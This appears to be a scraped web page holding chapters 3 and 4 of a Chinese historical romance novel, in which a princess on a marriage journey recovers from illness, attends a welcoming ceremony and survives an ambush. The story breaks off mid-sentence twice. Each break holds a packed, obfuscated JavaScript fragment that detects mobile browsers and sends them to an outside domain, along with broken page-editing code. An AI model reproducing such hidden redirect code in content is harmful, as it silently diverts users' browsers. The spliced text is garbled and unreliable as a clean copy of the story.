《诱敌入怀》 3. 第三章 第三章榆阳迎亲 子夜已过,驿站内依旧灯火通明。 屋门紧闭,隔绝了外头的寒气。数位仆从候在外室,依次端着热水、面巾、药品等物,空气紧张。 帘内暖意阵阵,火盆里跳动着张狂的火焰。华槿身前披着一件单薄的内衫,此时仍昏厥在灵儿怀中,露出光滑的脊背,黑发梳成一束,垂在胸前。 “换水。”清颜的手未有丝毫停顿,准确地将银针扎入华槿后背的各个穴位。 灵儿从仆从那里接过浸湿冷水的帕巾,不断擦拭着华灼的额头、颈侧,求助似地望向清颜:“姐姐,殿下整夜未醒,始终没有发汗,高烧便也退不下去,这可如何是好?” “数周劳顿,恐是引发了殿下旧疾。我已喂殿下服下压制旧疾的药物,只待行针完成,应能好转。” “殿下不想玄国知晓她旧疾之事。王爷的人方才已来过几次,要再拖下去,他们执意请驿医来,恐怕瞒不住。”灵儿压低了声急切道。 “殿下与北定王还未成婚,此等情形,他们进屋于理不合。何况羽笙守在屋外,总能挡上一阵。”清颜针下轻抖。 果不其然,清颜行针还未结束,外头便再度响起飞白的声线:“公主殿下可有好转?王爷不放心,已将驿医请来了。” 门外萧羽笙沉声:“殿下有医官诊治,男客不便入内。” 飞白倒未与他争执:“驿医可候在外廊。王爷叮嘱,若有需要,片刻不误。” 屋内,清颜拈针扭转。过得半盏茶,华槿背脊微微起了汗,先细若蚁行,继而一点点润开。 清颜掌心按额,松了一口气:“出了。”她熟练地掐住针尾,依次退针、按穴,吩咐:“撤一层被褥,别闷着。” 灵儿忙应,并替华槿换下湿透的里衣。 又一盏茶后,华槿睫毛颤了颤,缓缓转醒。 喉咙干得发疼,她一时分辨不清自己身在何处。 方才昏迷时,她做了许多旧梦。 梦里春水初涨,玉京练场的青石被日头烤得微暖。她与萧羽笙对剑,少年笑声与金铁相击,一闪而过…… 忽而又是殿中幽暗,母亲的手指冰凉,香案上的茶苦得发涩…… “这是哪?”她问。 “殿下,咱们这是在驿站。快丑时了。”灵儿赶紧将水送到华槿唇边,“殿下,赶紧喝点水。” 清颜按脉:“脉急转缓,险处过了,但虚损得厉害,还得多歇息。” 驿站..华槿思绪收拢,见内堂通明,候着几位仆从,眼神一敛。她抬手示意灵儿替她披好外衫,把帷帐又压低一寸,她不愿在人前露虚。“灵儿,让他们都出去吧。” “是。” “殿下,王爷的近卫飞白还守在门外,我去知会一声。”清颜道。 华槿点头。 打开门,萧羽笙立刻上前关切地问清颜:“殿下如何?” 清颜正要开口,却见苍玦大步而来,他依旧穿着日间常服,似也未曾休息。 “王爷。”飞白退到他身后。 “现下如何?” 清颜双手交叠腹前,屈膝略俯:“王爷,殿下发汗后,现已转醒。只需再备些暖粥,好生休息,便无大碍。” “要歇一日?” “殿下气还虚,能多休息一日自是最好……” “王爷。”灵儿此时开门出来了,“殿下知您前来,命我传话。榆阳城的迎亲礼至关重要,不可耽误时辰。” 苍玦隔窗望向屋内剪影,冷哼:“她怕耽误时辰,倒不怕死?先歇一日,次日早点起程,赶得上。” 语罢他便拂袖而去,余灵儿与清颜俯首作揖:“谢王爷体恤。” 屋内,华槿喝了蜜水稍稍有了人色。 灵儿正要将外室的灯熄灭了,好让她继续歇息。萧羽笙拿了一只小木盒进屋,说是飞白送来的。 灵儿打开,见盒中盛着酥糖碎与几枚话梅。她失笑着拿进帘内,捻一点酥糖放到华槿唇边。华槿含着,甜意化开,刺痒缓了些。 “殿下,这北定王似乎并没我们预想的如此冷酷无情。” “是么?”华槿淡淡地,“他如今同我一样想完成和亲,自是会护我安全。可如若,玉国与玄国纷争再起。灵儿,你觉得届时他将如何待我?” 华槿的语气轻巧得仿佛没有重量,可这问题却叫灵儿重得不知如何开口。“殿下……” “都休息吧,你们也累了。”华槿微微一笑,“叫羽笙也别守着了,他有时候固执得很。” “是,殿下。” -- 天色将午。 外廊风紧,檐下雪末子压成一条窄白。 飞白在廊柱下止步,低声向来人禀道:“王爷,那穿灰色棉袄的承和接头人有动静了。” 苍玦披风上落着细雪,眉目清冷:“说。” “此人夜里拿钱带了两名木匠去了桐桥渡,卸薄板、锯主梁,再以新钉遮面。桐桥是我们进城必经之路,车重压上,当场便断。我们已捉了木匠,看了钱票,是从同兴号出的,用的是澜海国惯用的耐潮紫墨。” “同兴可是最大的票号之一,专做盐路与商旅的汇兑。”苍玦玩味道:“这澜海来的票就更有意思了。” 飞白道:“澜海与玄玉两国并无宿怨,所以我们推测是始作俑者很谨慎,特意走了沿海线的账,让我们难以追查。有人给了承和同兴的钱票。让他们跑腿,这灰衣人便是领了差,按钱做事。如今还不知背后出资之人是谁。” “夜里悄悄加固桥下,莫让人发现。待拂晓放一支空车小队先过,故意留点动静,看谁第一时间去报信,去哪儿报。继续盯紧承和的接头人,看看他们还能玩出什么花样。” “属下遵令。” “对了,凤仪公主房里可有动静?” “不曾有异样,未见有近卫进出驿馆。” 苍玦颔首:“继续盯着。” “是。” 休憩这日,驿里颇为安静。 华槿睡了又醒,醒了再睡。清颜换帕,灵儿去看马,萧羽笙在廊下换岗。 入夜时分,脚步在门外停住。灵儿进屋低声通禀:“王爷来了。” 华槿起身,清颜替她披上外衣。“请他进来吧。” 灵儿开门,苍玦进屋止步在帘外:“今日好些?” “好许多了。”华槿披风拢在肩,眼里还有未散的困,“劳王爷挂心。” “明日迎亲礼你便在车内。”苍玦道,“风大。” “我能下车踏。”她微微一笑,语气平稳,“许多人盯着呢。” 苍玦看了她一眼,一副软绵绵的样子。“身子那么弱,嘴倒逞能得很。”他忍不住讥讽了一句。 帘内没有回应,空气顿时陷入一阵长久的沉默。 “咳咳。”在后头端着盘子的飞白提醒,“王爷。” 苍玦斜睨了他一眼,抿唇,还是抬手将一盏瓷杯生硬地递到帘前:“姜汤。” 帘内的人此刻未让他等,很快便伸出一只纤纤玉手。她单手托住瓷杯,拇指似无意地擦过他的手指,细腻且温热。“王爷费心了。”她的嗓音也是软软的,让人生不起气又很是烦闷。 苍玦收回手,没再说话,拂袖而去。 履声远了,屋内只余炭火轻跳。 华槿喝了一口姜汤,辛辣得很。她唇角漫笑,嘴上逞能的恐怕不止她一个。 拂晓,桐桥渡。 一支空车小队从北岸缓缓压上,马蹄打在薄霜上咯吱作响。车轮过做手脚的一段其实已被加固,队长故意让轮缘刮了两下石沿,“喀”一声,像是有物崩断。 巷口先亮一盏灯,茶棚里一个小厮提着布条跑出去。 飞白在暗处低声道:“跟上。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495324|185913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>破晓时分,和亲队伍再度上路。 城郊茶棚里,说书人正念前两日北定王与凤仪公主路遇火情,携手救火之佳话。北定王体恤受灾之人,还救济了银钱。 茶客问:“可有凭证?” 掌柜把手一摊:“不信去看,家家门上都贴着赔银签。” 有人嘀咕:“这玉国公主刚入玄国便起火,怕是不祥之兆。” 旁人反驳:“和亲便不用打仗,有何不祥?” “我们老百姓,不打仗就是福气咯!”说书人评判道。 四处附和声起,话题便有转了旁的事去。 午时,和亲队伍入榆阳城。榆阳是北上入玄国的咽喉,也是北定王迎亲礼之所在。 自此一步,便是正式入了玄国腹地。 城东仪门前,鼓乐声声,红毡自桥头铺到坊口。 礼官列立,玄霆军先入,开两翼。门鼓三记,城门半开,两道草灰线划在雪上,队伍在双线中缓缓行进。 聘旗半垂,苍玦立于旗前,声音洪亮:“玄国北定王苍玦,于榆阳城城奉聘迎入。” 飞白呈上行符与随驾名册。小吏当场宣册,报随驾人、车、马、器具,封缄于册。 华槿在车内伸手,以玉节轻点封缄处,示认可。苍玦覆手下一印。小吏高声:“册立!” 苍玦道:“自此至帝都,我军护送在前,军行不扰坊市。聘礼如数,交割有据。” 华槿接道:“自此入玄境,我与随驾遵玄国法度,不越礼制,不误行期,至京谢恩受册。” 鼓再三记,盾壁挪开一线,队伍入门。 榆阳城府尹与玄霆军旗官各下一印,封缄副本装入聘函,悬于聘旗,礼成。 官面随即宣读:“前两日寒隼关走水,玄霆军入巷救火。所救人等清册在此,朱手印为凭;损屋赔银清单在此,银两已兑,后续修屋归北定王府。玉国凤仪公主救幼童三名、老人三名,被救者在场作证。” 人群里嘁嘁喳喳议论起来…… 车内华槿听闻宣读微微挑眉,看来苍玦不仅消息灵通,办事当真也雷厉风行。以他这些部下的行动力,她往后必然需要更加小心。 迎亲礼后,众人下榻官驿上宾院。安顿花了好一阵,待华槿坐定,羽笙也打探回来了。 “外头人现在怎么传的?” “坊间说走水原因是火炷店摆放不当失的火。风向是有些变了,但玉女不详的传言零星还有一些。” “你出去有人跟着么?”华槿又问。 “有,北定王的人跟了我一路。不过我确实去给你买了防风的披肩,他们恐怕不会起疑。” 羽笙说着,展开包裹内的水色披肩,走到她跟前半跪着为她系上。 华槿垂眉摸了摸料子:“你倒是会选。” “这一路实在颠簸,你自毒伤以来哪受过这等苦。”羽笙将那带子系出一个平整的结后,依然半跪着。 华槿抿唇,不悦道:“哪壶不开提哪壶。” 他跪得更深了:“是属下失言。” 华槿垂眉,视线落在他颈侧。那里有一道极细的旧痕,藏在发际与衣领之间,是他从杀阵里走出来最好的证明。 她抬手像是要触碰那处伤疤,却到底悬在半空顿住:“你我往日毕竟在自家地界,无需龃龉。现如今到了玄国,便是寄人篱下。北定王杀伐果断名声在外,虽同意我将你们留下,但日后行事必当处处小心,不然别说向父皇交代,我们自身都性命难保。” “属下遵命。” “起来吧。”华槿的手终于落下,拍了拍他的肩,站了起来,水蓝的袍子随着她的脚步摇曳。 她走到窗边立定,他在她身后几步望着。 “今日小吏宣册之时,我方才觉察,我即将嫁做人妇。”她看着窗外飘扬的小雪,呢喃,“羽笙,你说我是如何走到今日这般情境的呢?” 4. 第四章 第四章 杀心四起 日渐西晒,上宾院来了不速之客。 两名礼官捧册而入,从吏随行。 灵儿上前迎去还未开口,但见首座展开折册,语调不疾不徐: “按《内仪》,和亲公主入城,当即往祠庙上香行拜,净手誓册,以安众心。请殿下整饰,随我前去。” 灵儿登时变了脸色,却不敢直言。 华槿已从屋内走出,接过折册,垂眸细细翻看。 礼官见她迟迟不语,正要发作,见华槿抬起手:“稍等。” 礼官面色一滞:“殿下莫要耽误了时辰。” 华槿闻言,轻轻抬起眼皮,明明是一双温润的眸子,面上也挂着一丝笑,可不知怎的竟叫礼官后背一阵发凉。 须臾,她合上册子,终于悠悠开口:“册中明示,若有军护在身,或因病不便,书誓盖印即可。我今日方退热,又持北定王军护令,当无需跪香。” 礼官辩驳:“祠庙之礼庄重,若只书誓,恐人心未服……” “既是礼便要遵循规矩,从规不从心。”华槿语气依旧不温不火,“条文在此,我并未越制。” “下官也是奉礼办事,殿下莫要为难下官。” 双方正僵持不下,但闻廊下靴声由远及近。 苍玦自阴影里走出,披风收半幅,立身修直,一双眼冷冷扫过几人。 “是奉礼还是借礼生事?”他声音不高却极有分量:“既有条文,依例在驿堂誓册便可。” 礼官与从吏对视,势头软下,抱册退半步:“既如此,今酉时,请公主殿下移步驿堂,书誓按印。” 华槿颔首。 礼官走后,灵儿这才发作忿忿道:“快入夜了叫殿下去跪拜,这不是存心折腾殿下么!” 华槿幽幽看向苍玦,叹惋:“王爷,你我这门亲事看来颇不受人祝福。” 苍玦直视她,将她伪装的哀怨看破:“远嫁玄国,你自当有准备。” 华槿微怔,眼神渐冷:“所以王爷,我们生在皇家便要心甘情愿把别人的心思当饭吃,是不是?” “华槿,我本无意和亲。但只要你别再有其他心思,真心入玄国,我会护你周全。” 华槿垂眉,袖内手指拽紧了衣衫,唇边却挂笑:“谢王爷。” —— 酉时,驿堂净水与誓册已备。 灯火照映下,华槿拈笔净手,依式写下:““奉遵玄玉之约,不扰军政,不越仪度,以民为先。” 她起笔端稳,字间架匀停,收锋藏劲。末了,她取出随身的玉制印信重重按下,印色沉稳。 华槿将抄件复看一遍,指腹在“以民为先”四字边上停留。脑海中想起他方才那句“真心入玄国”……她既以身入局,这真心她还能守住几分? 门帘外寒风转了向,本在她身后站着的苍玦跟着侧身挪了位置。见她合上手书交与礼官,他立即使了个眼色示意飞白送客。 华槿转过身来,见他立得板正,问道:“我的字殿下可喜欢?” 苍玦似乎没料到她会如此问,巴巴地眨了几下眼,冷声道:“我看你精神是恢复了。” 华槿自讨了个没趣,倒也不恼,依旧笑意融融:“幸得殿下照拂。” 她笑时眉弯轻挑,恰似极细的一钩,恰到好处地勾人。这模样便与他在玉国大殿初见她时的印象重叠了起来…… 他不愿同她再搭话,转身兀自离开,独留华槿望着他的背影,若有所思。 苍玦回到偏厅。 飞白自外廊折入,止步案前,压低声线说道:“夜里渡口果有人报信,那小厮一路急奔,最终见了那名灰袍接头人。我们的人暗随在后,跟了一路未曾走远,却不防忽扑出一蒙面之人,出手极快,顷刻将其灭口。接头人口中还被塞入半截紫墨票角。” 苍玦目色一沉:“线断了?” 飞白道:“凶手动作干净利索。” “不拖了,明日便请他们露面。” 夜深了,廊影中风将灯焰吹压成一线。 门外脚步声起,灵儿进屋轻声通禀:“王爷来了。” 华槿已更衣,此时复披上外衫轻步出了内堂。苍玦进屋,披风上几许残雪,玄色的袍子与他极为相称。 他看她一眼,单刀直入便问:“你怕死吗?” 灵儿闻言背脊一紧,清颜立马握住她的腕。华槿抬眼,唇角一点笑:“怕,但王爷当会护我周全。” 苍玦眉峰一动:“你信我吗?” 她点头:“信。” “好。那你同我做一场戏。” 不一会儿,凤仪公主明早要去西市赶早集的消息便传遍了整个上宾院,连哪家风雪帽皮实、哪家骨簪打磨细都一一打听了个遍。 天光未足,早市先起。蒸汽在摊面上不断冒,胡饼翻面,豆花泼辣子,叫卖声一声高一声低。 两人择了最喧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495325|185913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闹的一条巷子而行,叫卖声此起彼伏,各色吃食与货摊铺陈开来,令人目不暇接。 行至一处骨簪铺前,华槿脚步缓了。檐下悬着一排细长骨簪,鹿骨打磨得莹白透亮。 掌柜是个面目平和的少年,五官端正而素淡,鬓角微微带着寒气拂出的红。他一眼望见华槿,眸色顿亮,随即按捺下情绪,俯身一礼:“娘子看簪?北地骨温而不裂,冬日挽髻最是合适。” 华槿的目光也在他脸上停了一瞬。片刻,她眸中漾开一抹若有若无的暖笑,随即低头拈起一支骨簪。簪身细窄,尾部刻着一缕清巧云纹。她淡声道:“要这支,再要一只素面,装一盒。” 掌柜神色恭谨,垂眸应声,转身去取盒子,指尖却微微发紧。 “掌柜的,近日生意可好?”华槿问。 “一切安好。”掌柜颔首,双手恭敬地奉上簪盒,眼神却忍不住又看向她。 华槿抬手,取盒时指尖把一条极薄的小纸缄推入掌柜手中,动作轻得像掸灰。灵儿侧身将华槿动作挡住,而后收过盒子,取出银钱与掌柜点算。 片刻后,二人离开骨簪铺,临走前华槿回首,向掌柜再度微微点头。 华槿与灵儿又在其他铺子买了些小玩意儿,最终折向西巷口。巷口人少,静了许多,但风更硬。 便就在那一角风里,一支弩弦破风而来。灵儿一把将华槿往墙边护:“殿下!” 尾羽“喀”的一声从华槿身旁擦过钉进旁边的木招牌。 第二矢接踵而至,灵儿拉着华槿躲避。此时一人从四散的人潮里探出,挡在他们身前,拔剑断箭。 “退后。”苍玦喊道。 巷尾一人带风掠至,是飞白侧护而上。对面两个挑担的把担一掀,担杆底下露出窄锋短刀,角度刁,直封胸口线。此刻,玄霆军暗桩自三处起身与之对上,刀声迭作。 一个黑影自后掠出,长刀直冲华槿而来,刀势狠辣。苍玦半步上迎,刀背一荡,寒光错落,两人对上三合,火星迸溅。第四合,他回身一肘砸在其下颌,刺客当场跪进雪水里。那人欲咬后槽牙,被他刀背横敲,“喀”的一声,牙错了位,血溅当场。 侧门缝里突窜出一矢,羽尾擦过苍玦袖口,在他的前臂拉出一线血痕。他只低头看了一眼,抬刀继续压上:“要活的!” 屋脊上一影滑下,袖里甩出绞索,直套飞白脚踝,势如掣电。 飞白转腕欲卸,然而为时已晚……